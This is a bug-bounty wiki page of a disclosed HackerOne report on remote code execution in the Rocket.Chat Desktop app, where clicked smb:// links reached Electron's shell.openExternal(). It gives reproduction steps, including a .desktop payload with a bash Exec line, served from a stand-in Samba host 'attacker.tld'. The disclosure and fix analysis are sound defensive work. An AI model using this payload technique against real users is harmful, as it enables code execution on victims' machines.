Skip to content
RCE Disclosed report Intermediate

Insecure use of shell.openExternal() in Rocket.Chat Desktop App leading to RCE

The Rocket.Chat Desktop app passed clicked links to Electron's shell.openExternal() with only a blocklist that filtered file:// URLs. An attacker could send a link using another protocol such as smb:// to a malicious file, and when a victim clicked it, code from a remote share could run on the victim's system.

baltpeter Follow

Originally disclosed on HackerOne

Critical 9.0 View original
  • Triaged in 6 hours
  • Fixed in 18 months
  • Disclosed after 2.0 years

Summary: The Rocket.Chat Desktop app passes the links users click on to Electron's shell.openExternal() function which can lead to remote code execution.

Description: The filtering on the URLs passed to shell.openExternal() is insufficient. An attacker can craft and send a link that when clicked will cause malicious code from a remote origin to be executed on the user's system. The specific attack presented here has been tested with Xubuntu 20.04, however similar attacks are also possible on other systems, including non-Linux operating systems.

Releases Affected:

Steps To Reproduce (from initial installation to vulnerability):

  1. Install Rocket.Chat Desktop on Xubuntu 20.04.

  2. Login and join a channel.

  3. Setup a public Samba server (at attacker.tld in this example) and create a public share (named public here). In this share, publish the following file as pwn.desktop and make it executable:

    INI
[Desktop Entry]
Exec=bash -c "(mate-calc &); xmessage \"Hello from Electron.\""
Type=Application
 ```
  1. From another account in the same channel, send the following message with the corresponding values replaced: smb://attacker.tld/public/pwn.desktop
  2. Click the link and (if necessary) confirm starting the untrusted launcher.
  3. Notice the calculator and message box appearing, confirming remote code execution.

Supporting Material/References:

  • I have attached a video of the attack to the report.

Suggested mitigation

Best Regards,
Benjamin Altpeter
Technical University of Braunschweig, Germany

Impact

  • The attack can be triggered remotely by an attacker by simply sending a message to a channel.
    • The particular attack presented here requires user interaction. The user has to click the link (which is not obfuscated) and potentially confirm launching the executable. The last part may not be necessary depending on the particular attack vector and system the user runs.
    • This particular presented attack only works on certain Linux distributions. However, this is only due to the particular attack payload used (a Linux .desktop file accessed over Samba). Similar payloads will also work on other Linux distributions as well as Windows and macOS. The Electron documentation explicitly warns against using shell.openExternal() with untrusted content: https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content
    • If the attack is executed successfully, the attacker can run arbitrary code on the user's system.
    • Patching the problem is simple and doesn't break any legitimate use cases that I can think of.

Attachments

rocketchat.mp4 From the original on HackerOne

The original report as published on HackerOne, by baltpeter. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The link handler used a blocklist that only filtered file:// URLs instead of an allowlist of safe protocols, so other dangerous protocols like smb:// reached shell.openExternal().

Impact

An attacker could run arbitrary code on the victim's system, but the presented attack requires the victim to click the link and possibly confirm launching the file, and it only works on certain Linux distributions with the specific payload used.

What the attacker needed

Rocket.Chat Desktop app installed; Victim clicks a link in a chat message; Attacker controls a remote file share; Victim may need to confirm launching the file

The fix

The link handler should use an allowlist of safe protocols (such as http, https and mailto) instead of a blocklist.

How it was found

  1. Install Rocket.Chat Desktop on Xubuntu 20.04.
  2. Log in and join a channel.
  3. Set up a public Samba server with a public share containing an executable .desktop file.
  4. From another account in the same channel, send a message with an smb:// link to that file.
  5. Click the link and confirm starting the untrusted launcher if prompted.
  6. Observe the calculator and message box appear, confirming remote code execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The desktop app used a weak check that only blocked file:// links. Other link types, like smb://, were still allowed. An attacker could send a chat message with such a link; if you clicked it, your computer might run a file from the attacker's server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.